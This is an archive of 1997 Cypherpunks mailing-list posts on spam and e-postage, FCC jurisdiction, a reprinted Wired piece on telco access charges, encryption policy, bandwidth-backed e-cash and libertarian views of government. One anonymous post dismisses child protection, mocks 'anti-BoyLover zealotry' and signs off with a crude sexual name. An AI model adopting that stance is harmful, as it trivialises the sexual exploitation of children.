In-Reply-To: <19970731095523.04336@bywater.songbird.com>
Message-ID: <199707312017.QAA05673@jafar.issl.atl.hp.com>
MIME-Version: 1.0
Content-Type: text/plain



Kent Crispin writes:

> I agree.  If charging for mail would eliminate spam, then I should not
> be getting the mailboxfull of physical junk mail I receive every
> morning.  Postage benefits the MAIL CARRIER, not the recipient, and it
> is in the best interests of the mail carrier to carry MORE mail, not
> less.  So, e-postage will almost certainly cause more spam, not less. 

I dunno about the last part of this, but I agree with the basic point
(yes, I agree with Kent! It's a miracle! :-).

I used to think differently, but I've become convinced that the cost
of e-postage isn't going to be high enough that it'll be much of a
control.  Network bandwidth used for the purpose of email transport,
even with increased spamming factored in, is simply too low to justify
charging much for it.  It will still be *way* cheaper than surface mail.
So unless the percentage of people who delete it instantly, sight-unseen,
is higher than I suspect or new tools make it easy to filter out all
spam, it's going to remain economically advantageous for the spammers
to target broadly.


-- Jeff





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Peter Trei" <trei@process.com>
Date: Fri, 1 Aug 1997 04:39:12 +0800
To: cypherpunks@ssz.com
Subject: Re: Rep. White introduces Internet Protection Act (fwd)
Message-ID: <199707312023.PAA21958@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text/plain



> From:          Jim Choate <ravage@ssz.com>
> Subject:       Re: Rep. White introduces Internet Protection Act (fwd)
> To:            cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
> Date:          Thu, 31 Jul 1997 13:39:12 -0500 (CDT)
> Reply-to:      Jim Choate <ravage@ssz.com>

> Forwarded message:
>
Peter Trei wrote 
> 
> > Here's a fun little thought experiment:
[lots of snipping on both sides] 
> A flawed one.
> 
> > Considering the hairsplitting that takes place everyday
> > in courtrooms these days, an arguement could be made that
> > since virtually the entire net these days is optical fiber,
> > there are no 'electronic' communications taking place.
> > 
> > Does the FCC charter mention photonic communications as 
> > well? At what point does the charter allow them to 
> > interfere? Here's some steps on the way...

[amusing, not too serious arguments involving mimes deleted]
 
> Photons are the vector boson for em radiation, in a wire or in the air.
> In the wire the photons go from electron and protons to other electrons and
> protons. This is what makes them want to 'move'. Despite popular vision, they
> don't go bumping into each other like a bunch of ping-pong balls in a pipe...

> > Is this an electronic communication?
> 
> Yes.

So when I look at someone's facial expression, I'm using photons, and 
the FCC can regulate this activity as an 'electronic communication'?
This seems to be what you are suggesting.

I have this niggling memory at the back of my mind to the
effect that the FCC regulates nothing above a certain
frequency (somewhere in the microwave region). I don't
know if this is an internal rule, or something imposed on
them by charter or congress.

I'm not sure what the limit is. The highest frequency I've
been able to find regulations for is 105 GHz, the upper 
edge of a band reserved for SETI research in Britain. The
highest FCC reg I've seen tops out at 77 GHz. 

This is all far below the frequencies of light used in 
fiber optic networks.

Anything above about 100GHz seems to be unregulated. 

Peter Trei
trei@process.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Fri, 1 Aug 1997 05:16:18 +0800
To: cypherpunks@toad.com
Subject: "Telco Terrorism" -- Wired on Baby Bells v. the Net
Message-ID: <v03007815b006ac98fb64@[168.161.105.191]>
MIME-Version: 1.0
Content-Type: text/plain




*******

http://www.wired.com/wired/5.06/netizen.html

Wired
Issue 5.06 - June 1997
Netizen

Telco Terrorism
By Declan McCullagh (declan@well.com)

   If the Baby Bells get their way, you'll pay by the
   minute and through the nose for the privilege of
   logging on. But the Net has an unlikely defender: the
   FCC.

---

Ed Young, Bell Atlantic's chief lobbyist, is a busy man -
so busy, he says, that he can find time to talk only
between meetings in a Nynex boardroom in Washington,
DC. He waves expansively at the juice bar and grins,
"Take whatever you like. It's all paid for by Nynex."
A moment later, Young denounces Internet users for
precisely the same attitude. "There's no longer a free
lunch," he complains. "Internet welfare has to stop."
It's a catchy sound bite - honed through countless
repetitions over the last year - and Young has spent a
lot of time testing it out on Washington regulators.
He says that flat-rate Internet pricing is clogging
phone lines, jamming telephone switches, and, most
important, costing his employer hundreds of millions
of dollars a year. Last summer, Bell Atlantic teamed
up with a few other Baby Bells to try to persuade the
Federal Communications Commission to levy
minute-by-minute access charges on Internet service
providers - hefty fees that could double or triple the
average monthly bill. For the telcos, securing
permission to begin collecting access fees would be
like hitting the jackpot; a charge of merely 3 cents a
minute would bring in nearly US$6 billion in new
revenue each year.

But some important members of the high tech community
worry that it could also trigger the death of the Net.
Three-cents-a-minute access fees would boost a service
provider's costs by more than $100 a month for each
subscriber who logs on for two hours a day. In an era
when $19.95-per month flat-rate pricing reigns
supreme, the thought of shelling out per minute access
charges to local phone companies has the online
industry scared shitless. CompuServe, for example,
estimates that its phone costs would zoom from $36
million to $367 million. The online and high tech
industries have counterattacked, arguing that while
more than 18 million Americans creep through
cyberspace using modems that sip bandwidth through
twisted-pair straws, the telcos want more money yet
refuse to improve service by bringing high-speed data
connections to the local loop.

The stage has been set for a showdown between a
telephone industry regulated since its birth and a new
economy that has prospered with surprisingly little
government interference. The tug-of-war pits
buttoned-down monopolies against a rough-and-tumble
collection of Silicon Valley bigwigs. Faced with
potential disaster, the high tech coalition has had no
choice but to learn the art of war as it is waged
within the confines of the FCC's arcane rulemaking
process.

This strange form of bureaucratized combat - which
operates under the guise of public policy - has plenty
of precedents in the annals of American capitalism.
But in this particular fight, an unusual third set of
combatants has been dragged into the struggle:
grassroots Internet users. Speaking with a mixture of
awe and bewilderment, FCC attorney James Casserly
says, "In the past, we've never seen anything like
this."

A case of congestion It's not that the telcos'
anxieties are entirely unfounded: real problems loom
on the horizon. America's local-loop architecture - in
which modems use analog phone lines for digital
communications - is vulnerable to network congestion,
and flat-rate pricing for phone and Internet service
seems destined to exacerbate the problem. This is
largely because telephone networks are designed around
the assumption that roughly one in every eight
subscribers will try to use the phone simultaneously -
which, in turn, means that if just 12 percent of an
area's customers are online at once, nobody else can
use the phone. In other words, America's
telecommunications infrastructure, was designed to
facilitate occasional analog calls, not continuous
digital connections. The telcos are standing at a
crossroads, stuck with a network that was designed for
voice traffic but that now groans under the weight of
data calls. The Baby Bells understand this, and they
say they want to go digital. Which raises the
questions: How will they do it, when will they do it,
and, more important, who will pay?

Both sides agree that the solution lies in new
technology. Currently, most phone calls travel along
an analog phone line to a digital switch that connects
to an analog outgoing line. Find a way to bypass the
analog connections with end-to-end digital networks,
and the congestion problem disappears. Here's why: To
transmit data, analog circuit-switched networks
require a continuous open channel, which must be
maintained even when it's not in use. But a digital
packet-switched network, such as the Internet, breaks
the data into small chunks that are sent as needed
asynchronously and reassembled by the receiver.

Right now, the telcos have no financial incentive to
promote speedier, more efficient technologies - and
when they've tried, they've blown it through a
combination of high prices and notoriously bad
customer service and support. Take ISDN, a digital
technology that has been ready-to-arrive for 25 years
but never quite did. "The problem isn't technology,"
according to James Love, an economist at the Ralph
Nader-sponsored Consumer Project on Technology. "It's
monopoly pricing by the telcos."

There are even better technical solutions than ISDN,
such as xDSL, about which the telcos appear ambivalent
at best. They shouldn't be. The xDSL family of
digital-subscriber-line technologies could provide a
way out of the regulatory staredown between the telcos
and the Net, supercharging ordinary copper wires to
carry data at Ethernet speeds without clogging the
voice network.

Studying the studies For now, however, both sides are
pumping most of their energy into spinning the
argument. Last June and July, Bell Atlantic, U S West,
PacBell, and Nynex launched the opening salvo in the
access-fee battle by passing along a few studies to
the FCC. The Bell Atlantic report noted that Net
surfers use their phone lines to make longer calls,
with an average length of 18 minutes, compared with 5
minutes for a typical voice call. Meanwhile, Bell
Atlantic said it spends $75 to service and maintain
each local loop that runs into an ISP line - lines
that generate revenues of only $17 per month. That
piddling 17 bucks, the telcos claim, barely covers the
cost of keeping a dial tone humming, and isn't nearly
enough to pay for the expensive upgrades needed to
handle circuit-gobbling Internet providers. If more
money isn't spent to upgrade the network, the
scaremongers warn, traffic jams caused by gluttonous
Internauts could become a public menace. The report
concluded that "service interruptions of even a
temporary length could affect public safety services
such as 911 service, with unthinkable consequences."
The telcos' solution: the FCC must let them levy
per-minute access charges to raise the hundreds of
millions of dollars a year needed to keep the phone
system from crashing.

To battle the phone companies' analytical onslaught,
Intel, Compaq, IBM, America Online, CompuServe, and a
handful of trade associations formed the Internet
Access Coalition in the autumn of 1996 to craft a
counterstudy to rebut the telcos' claims. Delivered to
the FCC in January 1997, the coalition report, titled
"The Effect of Internet Use on the Nation's Telephone
Network," blasted telco assumptions and pointed out
their hypocrisy: the Baby Bells whine that flat-rate
Internet services are congesting phone lines even as
many of them are peddling flat-rate Internet access
themselves. Some have actually given it away - in
California, PacBell offered five months of free
Internet service and waived installation charges for
customers who ordered a second phone line. How can a
cash-strapped phone company afford this? Since many
homes are already wired for two lines, second-line
service has become a source of easy profits for the
telcos. In 1995, for example, second lines generated
six times the revenues the Baby Bells now say they
need to upgrade their networks.

The coalition's debunking was thorough. Even if data
calls average 20 minutes - so what? One such call eats
up fewer phone company resources than 20 individual
one-minute voice calls. Moreover, the much-publicized
"clogged network" numbers came from areas with
exceptionally heavy modem use - regions that are
hardly representative of the network as a whole. In
other words, the telcos gave the FCC anecdotal,
worst-case estimates of network-congestion
difficulties and presented them as commonplace, or
perhaps even dangerous.

The phone companies reacted to the IAC study by
retreating from their initial position. No longer will
you hear their lobbyists talk of 3-cents-a minute
access surcharges; since early this year the fallback
stance has been to seek some charge - any charge! - as
long as it's collected through a metered pricing
scheme. "It doesn't have to be a large charge," Bell
Atlantic's Ed Young now says. "It can be something of
the magnitude of a penny a minute, or even less. But
it has to be something."

The friendly FCC? The Baby Bells might have assumed
they had allies in the four FCC commissioners. The
agency's history is replete with precedents in which
decisions have shielded venerable industries from
competition by upstarts. The commission delayed the
introduction of FM radio to protect AM stations. It
stalled cable television to benefit broadcasters. No
wonder, then, that many Internet users took for
granted that it would happily sacrifice the Net to
spare the telcos.

But, surprisingly, the FCC has often gone out of its
way to protect the Net from telco onslaughts. A 1980
directive dubbed "Computer II" said the commission
would regulate only "basic" telephone services, not
providers of "enhanced services." That marked the
Net's first reprieve, as the "enhanced service
provider" category includes everything from voicemail
services to alarm-monitoring firms to Internet
providers.

In 1984 Ma Bell splintered, and the FCC decided to
tack an "access charge" of roughly 5 cents a minute
onto every long distance call to compensate local
phone companies for completing the local-loop
connection. The Net's second reprieve came when
commissioners ruled that enhanced service providers
wouldn't be obliged to pay similar access charges
because of the "severe rate impacts" that would
result.

Finally, in 1987, the telcos trotted out many of the
hardship claims they still use today, saying that
voice users were subsidizing the clunky online
services of the time, and demanding that the FCC
impose per-minute access charges on them. The nascent
high tech community responded to the affront quickly.
Irate BBS sysops buried the agency in faxes (a novelty
at the time), while firms such as IBM, Digital, and
CompuServe persuaded a few members of Congress to
intervene. In the end, the commissioners ruled for the
Net and against the telcos, saying that it was
inappropriate to assess per-minute charges on the
fledgling online industry.

That ruling, which immunized ISPs and online services
against access charges, is what the telcos now call
obsolete. Access charges, paid mostly by long distance
companies, added up to more than $23 billion in 1996.
These days, however, long distance companies like MCI
and AT&T are cajoling the commission to reduce access
charges, and the FCC seems sympathetic to the idea.
This means long distance rates may soon be dropping.
But it also means the Baby Bells will pull in less
cash from long distance carriers - a potential
shortfall that perhaps explains why they are now so
hungry to levy access charges on Internet providers.

All this wonk warfare might have gone largely
unnoticed on Main Street USA, were it not for an FCC
Web page that solicited public input on the
access-charge issue. Only a few comments trickled in
during the first few weeks after the page was put up
in December 1996. But as the spring comment deadline
grew near, the word got out: the FCC was poised to
screw the Net. Between February 1 and February 14,
hundreds of thousands of irate emails flooded
isp@fcc.gov. In message after message, Internet users
pleaded, argued, and reasoned with the agency not to
levy access charges. One message labeled the telcos'
demands "just another scam so the greedy phone
companies can separate even more money from
consumers."

This tidal wave of digital bile did not escape the
attention of Reed Hundt, chair of the FCC. "Imposing
today's interstate access charges on Internet users is
the information-highway equivalent of reacting to
potholes by making drivers pay for a new toll road,"
he says. Such comments are reassuring, but like any
veteran bureaucrat, Hundt seems eager to find a middle
ground between the telcos and the Net. Thus, he has
also offered his own solution. Right now, residential
phone lines are cheap because federal and state
agencies have mandated increases in the cost of long
distance calls and premium services like call waiting
to subsidize basic dial-tone access for everyone.
Hundt has suggested removing these subsidies from
second phone lines. In the absence of local-loop
competition, his proposal would potentially double the
price of a second line. But it would also give the
telcos less to grumble about.

Hundt has only one vote on the four-member Federal
Communications Commission (the fifth spot remains
vacant at the time of this writing), but other
commissioners seem to agree with his position. "We're
going to walk very carefully so as not to impede
progress or competition," insists Commissioner Susan
Ness. Indeed, when the group held a preliminary vote
on access charges last December, it ruled that
Internet providers should not be subject to access
charges of around 3 cents a minute. Since today's
system is so screwed up, the agency said, "We see no
reason to extend this régime to an additional class of
users, especially given the potentially detrimental
effects on the growth of the still-evolving
information services industry."

The Net had - once again - found an improbable ally in
the FCC. But the lovefest may be short-lived. The
ruling left the door open for the commission to impose
access charges of less than 3 cents, and the telcos
are now asking for a penny a minute.

Inside the Beltway, the buzz is that the FCC won't
impose new access fees anytime soon. But no matter
what the commissioners decide, the losing side is
likely to take its grievances to the Senate's
Commerce, Science, and Transportation Committee, which
oversees the agency and could overrule its decision.
The Commerce Committee's new chair, Senator John
McCain (R-Arizona), harbors little sympathy for the
telcos - or their lobbyists. (See "The McCain Mutiny,"
page 122.) After presiding over a recent hearing on
universal service, McCain began spreading the word
that he opposes new access charges. "The claims that
are being made by the telcos are somewhat
exaggerated," he says. "I'm persuaded that online
access isn't nearly the burden they are complaining
about." McCain's assessment is not universally shared
- Alaska's Senator Ted Stevens, a senior Republican on
the committee, said in March that Internet services
should be regulated as telephone companies, and forced
to pay some form of access charge or universal service
fee.

The ad hoc alliance All of which means that the
peculiar synergy that exists between grassroots
Internet users and high tech corporations remains as
important as ever. In the face of the telcos'
onslaught, netizens are joining ranks with business
interests to lobby the government and protect the Net.
Although the flood of angry email that stuffed the
FCC's in-box was a chaotic, word-of-mouth effort, it
worked wonders - and effectively changed the course of
the debate in DC. "I think people in Washington
recognize that the 300,000-message deluge was just the
tip of the iceberg," says Paul Misener, Intel's chief
(and only) telecom lobbyist and coordinator of the
Internet Access Coalition.

Yet in a very real way, the digital nation had
misidentified its foe. As a rule, Washington's
bureaucrats are not power-crazed authoritarians; most
are reactive creatures who simply respond to
demonstrations of influence and power. Bell Atlantic,
PacBell, Nynex, et alia leaned hard on the FCC for
access fees, and the agency reacted in its own
instinctively bureaucratic way. The high tech
community responded by forming its own ad hoc
coalition to pressure the FCC, and thousands of
Internet users chimed in to express their collective
dismay. Of course, the best way to win not just the
battle but the war may be to remove the commission's
power to regulate the Net altogether. Still, so far
the real threat to netizens has come from complacent
telcos and their legions of starched-collar lobbyists,
not the FCC. The distinction is important, because the
old rule of thumb still holds true: The enemy of our
enemy may occasionally prove to be our friend.

-----

Declan McCullagh (declan@well.com) is the Washington
correspondent for The Netly News (http://netlynews.com/).

Copyright (c) 1993-97 Wired Magazine Group Inc. All
rights reserved. Compilation Copyright (c) 1994-97 Wired
Digital Inc. All rights reserved.


-------------------------
Declan McCullagh
Time Inc.
The Netly News Network
Washington Correspondent
http://netlynews.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Thu, 31 Jul 1997 23:57:04 +0800
To: cypherpunks@toad.com
Subject: Re: Yet another self-labeling system (do you remember -L18?)
Message-ID: <199707311540.RAA01345@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



James Love wrote:

>    On your other point, I really don't agree that is morally wrong to
>take steps to prevent children from having access to pornography. 
>People may propose ways of doing this which are objectionable, but the
>basic goal is hardly immoral.  Indeed, many think it is immoral not to
>protect children.

Yes, yes...one man's morality is another's immorality.  Each of them thinks 
of himself as "being in the right" and sees the others as wrong or even 
"evil"  (witness the anti-BoyLover zealotry).  Different subjects but the 
same bullshit.  See the futility of it yet, Jamie?

If parents find pornography objectionable for their children, then they 
must take ultimate responsibility to keep pornography away from their kids. 
 If they are not willing to do this, then they should not have had the 
children in the first place.  It's up to them to take care of their kids. 
Not you, not me, not the government, and not some "voluntary" ratings 
system.

CyberAnalFistFuckingActionMonger







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Eric Murray <ericm@lne.com>
Date: Fri, 1 Aug 1997 08:57:54 +0800
To: jwn2@qualcomm.com
Subject: Re: excerpt from William P. Crowell
In-Reply-To: <v04000d12b006c4406797@[129.46.137.118]>
Message-ID: <199708010050.RAA27103@slack.lne.com>
MIME-Version: 1.0
Content-Type: text/plain



John W. Noerenberg writes:
> 
> Excerpt from prepared testimony of William P. Crowell deputy director,
> National Security Agency before the House National Security Committee
> Wednesday, July 29, 1997:
> 
> [Intro elided]
> 
> Goodlatte Bill and  National Security
> 
> Before I go into the details of what the nation needs in a balanced
> encryption policy - a policy that gets strong encryption to be used widely
> while at the same time protects the nation's public safety and national
> security - it is important to understand that the Goodlatte bill would
> directly threaten national security.

[yadda yadda]

> Despite Being Available, Encryption is Not Being Widely Used
> 
> Most measurements of encryption are inadequate (incomplete or inconclusive)
> since they do not show how many people are using encryption. Encryption can
> be measured in a number of ways. Depending on how it is measured, one could
> misconstrue the data to conclude that "the encryption genie is out of the
> bottle" or that the bottle is tightly plugged.

That's some nice FUD to throw out.

> The fact of the matter is that encryption is widely available (e.g.,
> embedded in tens of millions of commercial software products) but, based on
> our impressions from market surveys, etc., is not widely used. Those who
> argue that government encryption policies are outdated because "the
> encryption genie is out of the bottle" (i.e., there are many products
> advertised to contain encryption and some of them are available from the
> Internet) must consider two important perspectives.
> 
> First, encryption is not now being, and will not be, used to its fullest
> potential (with confidence by 100s of millions of people) until there is an
> infrastructure in place to support it.


Oh my, this is wonderful.

The reason that encryption isn't widely used is _directly_ because
of current government policy!!  They're using the results of their
own bad policy to justify more bad policy.

"In order to have widespread encryption, we must restrict it"

"Ignorance is strength"

"Freedom is slavery"




-- 
 Eric Murray   (ericm  at  lne.com   or   nabletech.com)     PGP keyid:E03F65E5





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Sat, 2 Aug 1997 22:21:21 +0800
To: Declan McCullagh <declan@well.com>
Subject: Re: Yet another self-labeling system (do you remember -L18?)
In-Reply-To: <Pine.GSO.3.95.970730115813.3330F-100000@well.com>
Message-ID: <Pine.LNX.3.91.970731175000.426A-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




> It generally is not morally wrong to take steps to prevent children from
> having access to pornography, provided they're your children or you have a
> custodial relationship. 

I used to be of broadly this opinion, and still am conviced it is so, 
However, I think we have to separate saying something is not morally 
wrong from encouraging it, I believe parents may censor their childrens 
access to information as they see fit, but I don`t think they should.

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Sat, 2 Aug 1997 22:08:10 +0800
To: James Love <love@cptech.org>
Subject: Re: Yet another self-labeling system (do you remember -L18?)
In-Reply-To: <33DF81CF.1662D004@cptech.org>
Message-ID: <Pine.LNX.3.91.970731181540.426C-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain





> > Persuation is not the point, it is not necessary to persuade people
> > that
> > censorship is morally wrong in order for it to be so.
> 
>      Well, if persuasion is "not necessary," then why do you care about
> anyone's views on this?

I don`t give a fuck about anyone elses views, however, I debate such 
points here and elsewhere for my own personal pleasure, the real power to 
change things comes through the use of technology, not debate.

>     On your other point, I really don't agree that is morally wrong to
> take steps to prevent children from having access to pornography. 
> People may propose ways of doing this which are objectionable, but the
> basic goal is hardly immoral.  Indeed, many think it is immoral not to
> protect children.

Foo. I see no point in pursuing this any further.


        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Fri, 1 Aug 1997 03:22:57 +0800
To: whgiii@amaranth.com
Subject: Re: uncensorable net based payment system?
In-Reply-To: <199707311307.IAA17412@mailhub.amaranth.com>
Message-ID: <199707311722.SAA02457@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




William Geiger <whgiii@amaranth.com> writes:
> In <199707311240.NAA00742@server.test.net>, on 07/31/97 
> >  at 01:40 PM, Adam Back XXIVth <aba@dcs.ex.ac.uk> said:
> >
> >Then I can have some net cash savings backed by the rights to 1Tb of
> >bandwidth at 100 Mb/sec.  100 Mb/sec for 3 days.
> >
> >A problem with this is that the market prices of the assets is
> >continually dropping.  How do I hedge against this.  Can I buy futures? 
> >Sell 100 Mb/sec for 3 days now in exchange for 200 Mb/sec for 3 days in 1
> >years time at an predicted equivalent value? 
> 
> Well I see some problems with this. Any increase in bandwith requires the
> addition of hardware to accomplish it. It would be of little use to me to
> have 100 Mb/sec for 3days considering the cost of installing the lines and
> purchacing the extra equipment.

I wasn't thinking of using the bandwidth myself, just using it as a
commodity to back an electronic cash system with.  Eg it's like a gold
currency, I can't eat gold or do anything that useful with it myself,
but some people use it (jewelers, circuitry, etc), and those people's
demand give's it value.  There demand + other speculators such as
myself defines the current market price.

So I was thinking that this bandwidth would be readily transferable as
there will always be people on the look out for a good buy for their
bandwidth.  If you're going to auction off unused bandwidth on leased
pipes etc, there will be people dynamically buying bandwidth at the
best price they can get.

> Also in a packet switching environment how do you plan on insuring any
> amount of bandwith? The Backbone is not set-up for this. The only way in
> the current enviorment that you can guarantee a given bandwith is by
> having a dedicated connection point to point.

ATM?  Virtual ATM?  We were talking 10-15 years time frame there.

Guaranteed bandwidth virtual pipes have got to come for metering to
make sense.  Metering is going to come for some aspects of the net
sooner or later.  Even if you buy outright your leased line and all
the bandwidth on it, it will be more efficient if you can sell off
spare bandwidth during your weekends and evenings.  Also you could
underbuy your bandwidth if you knew with an acceptable degree of
certainty that you could buy in the extra bandwidth as needed in an
efficient market.

There will be people happy to buy your off peak bandwidth for batch
data shovelling.

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Fri, 1 Aug 1997 09:40:08 +0800
To: cypherpunks@cyberpass.net
Subject: Re: free market services vs monopoly government
In-Reply-To: <199707312059.VAA03086@server.test.net>
Message-ID: <19970731182720.53925@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain



On Thu, Jul 31, 1997 at 09:59:37PM +0100, Adam Back wrote:
> 
> I wrote at the bottom of another post:
> > General rhetorical question: indeed why have governments at all?
> 
> and Kent Crispin parried:
> : General rhetorical answer:  Because people are the way they are.
> 
> Kent you seem to harbor the belief that government monopoly is a good
> thing, or at least that government is somehow an unavoidable necessary
> evil.

Adam, in all honesty I don't think of it like that at all. 
"Government" to me is a completely neutral abstract term, like
"organization", or "society".  Consequently, a statement like
"Government is always bad" is ipso facto a shallow generalization, and
my natural reaction is to point out that sometimes government is good. 
Since the poor brainwashed souls on cypherpunks uniformly spout the
"Government is bad" party line, the result is that comes out looking
like I think government is good.  But that is an incorrect impression. 
Government, as a general abstract term, is neither bad or good. 

[Note: While "government" in general is a completely neutral term,
particular governments may be better or worse in various dimensions,
of course.  But it is never a black or white thing.  The government of
Singapore accomplishes a great deal for its citizens, but I would not
want to live there because of the constraints on freedoms I value. 
But the government of Singapore is vastly preferable to the government
of North Korea.]

I don't think of government as a "necessary evil", either.  Rather,
I think that a government of some kind is an inevitable outgrowth of
human nature.  I think this for three compelling reasons: first, it is
obversationally true -- there are essentially no human beings who live
without a government of some kind; second, because it is in agreement
with all my observations and knowledge of human nature; and third,
because it makes sense to me as the rational consequence of the
existence of force as an interpersonal interaction. 

[...]

> Are you opposed to free markets?

Nope.

> Government holds a number of monopolies.  These monopolies are not
> efficient.  They result in resource wastage on a mind boggling scale.
> The USG has pretty much bankrupt your country, the US national debt
> being I understand at a level where US citizens collectively do not
> have the resources to pay it off.  If a privately or publicly held
> company got to that stage the receivers would be sent in.

In fact, of course, the US generates a great deal of wealth for its
citizens, who are among the best off and most productive of any nation
on earth.  Of course it could be better, but it could be a whole lot
worse.  To say that the form of government had nothing to do with that
*success* is intellectually dishonest -- one can just as easily argue
that things are good in the US largely *because* we have a relatively
good government. 

> The success that a country does enjoy is pretty much proportional to
> the degree of market freedom.  Luckily for us our governments have
> left a bit of freedom in markets, or we would have food shortages, and
> rationing.

Oh, "luckily".  No possibility that there was intelligence involved,
eh?

[...]
> Governments tend to grow, and soak up larger tax percentages, and
> encroach into more aspects of life which were previously a question of
> free choice, or were previously purely market driven.  The reason for
> this growth is due to the government as an entity unconciously
> promoting itself as an organism.  A great huge cancerous growth which
> has us by the jugular.

"Governments" is the wrong term here.  A more correct term would be 
"bureaucracies."   The growth you describe is endemic to any large 
human organization.  Large corporations go through very similar 
cycles.  Charities, churches, clubs -- it happens everywhere.  
Sometimes the organization becomes too fat and dies.  Sometimes it 
manages to metamorphose into something else.  But none of the 
characteristics you describe are unique to governments.

> The reason governments as businesses can get away with their abysmal
> performance is because they have a near complete monopoly.
> 
> A good start would be a choice in government, to generate some
> competition.  So you can buy membership in a protection racket, hire
> the services of a private security firm, or buy insurance from an
> insurance group because of its benefits package, or go elsewhere if
> the offering sucks.  You choose on an individual basis what package
> best suits you, and you choose the service providers who you consider
> as the best value for money.

This is a pure pipe dream, a utopian fantasy for libertarians.  I 
could say "a good start would be for everyone to love one another" -- 
it would be just as real.

> eg. I can go buy into Uncle Enzo's pizza delivery and protection
> racket because the protection is 5000% better value for money than the
> Feds deal.

How do you get out from Uncle Enzo's protection racket when things go 
sour, if Uncle Enzo doesn't allow his customers to leave, or even to 
say anything bad about him?

> I can pick and choose the services I want to produce a mix which
> satisfies me.  Double efficiency, people don't have services provided
> for them which they actively don't want, and I can buy services which
> the government attempts to prevent the market from providing, so my
> requirements are better met.
> 
> As well as the increased efficiency obtained in provision of services
> which governments are currently holding monopolies on, the reduced
> taxation and regularatory burdens put on the economy would cause a
> boom.
> 
> And your argument is?

You are describing pure speculative fantasy, and it is pointless to
argue the details of your speculation.  All I can do is point out that
it *is* a speculative fantasy, and challenge you to produce something
meaningfully concrete.  Show me a real living example of such a
society in operation.  If such an excellent society existed then
surely people would flock to it in droves.  Or is it like communism --
we have to have the whole world under control before the dictatorship
of the proletariat withers away, and the glorious new world order
flowers?

[...]

> So which mix would you choose Kent?
> 
> Or are you arguing that there are lots of stupid people, and that you
> are happy to let their ill-informed choices, and their willingness to
> go with the bankrupt corrupt status quo fuck your life up? 

No, I think that average people have much more sense than you give
them credit for, and that the egotism of people who are bright
technically frequently blinds them to their shallow understanding of
other areas.  I have seen very bright people caught up in all sorts of
insane ideas.  The best example I know is the weapons physicist, a
brilliant and clever thinker, who is a member of a fundamentalist
Christian group.  He predicted the second coming on a particular day,
and announced it to the press, with a statement to the effect that he
had set off bombs at the Nevada test site with less intellectual
certainty than his prediction.  I'm sure he is now back reading the
the Bible and other texts, and trying to figure out what went wrong. 

I admire his conviction, his tenacity, but not his grip on reality. 

[...]

> Free choice makes for much more efficiency in terms of economics, and
> in terms of individuals happiness.

Sure.  So what.  The issue is what *real* can be done.  Utopian 
fantasies don't do it.

> Here's a reading list for those interested in disbanding government
> and replacing it with services purchased on the free market:
[...]

Hmm.  You base your philosophy on a couple of science fiction novels,
"The Machinery of Freedom", Adam Smith, and Hayek? Some years ago I
read Nozick and Rand, because I thought there might be something to
libertarian philosophy.  I also read parts of "Machinery of Freedom"
-- a better title, I think, would be "Intellectual Tinkertoys of
Freedom" -- and something by Boas, and a couple other things that fade
from my memory.  I conclude that these books are libertarian
scripture, and function like that physicists bible.  People who
believe, and willingly host the parasitic memes, find such texts very
meaningful.  More cynical types such as myself don't relate well to
them. 

Adam, I admire your conviction, I respect your technical expertise a
lot, but we have a different view of reality.  We will just have to
differ on that. 

[...]

>print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
>)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`

BTW, how do you use this code?  I'm not a big "dc" user, I must admit.

I dug out a midi interpreter I wrote a number of years ago, 
and it is indeed trivial to modify it to read any text as input.  
Unfortunately, I wrote that long before the midi file spec was 
finalized, and the hardware I wrote it for is also long gone.  But 
it's probably not much work to get file output working again...and 
the thought of a general text-to-midi translator is rather 
entertaining -- I could play this entire mail message through it, for 
example... It would definitely make better music if some rhythmic 
variation was part of the coding, but that would make it a little 
harder to make an automatic decoder...

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Fri, 1 Aug 1997 03:27:13 +0800
To: whgiii@amaranth.com
Subject: Re: non-censorous spam control (was Re: Spam is Information?)
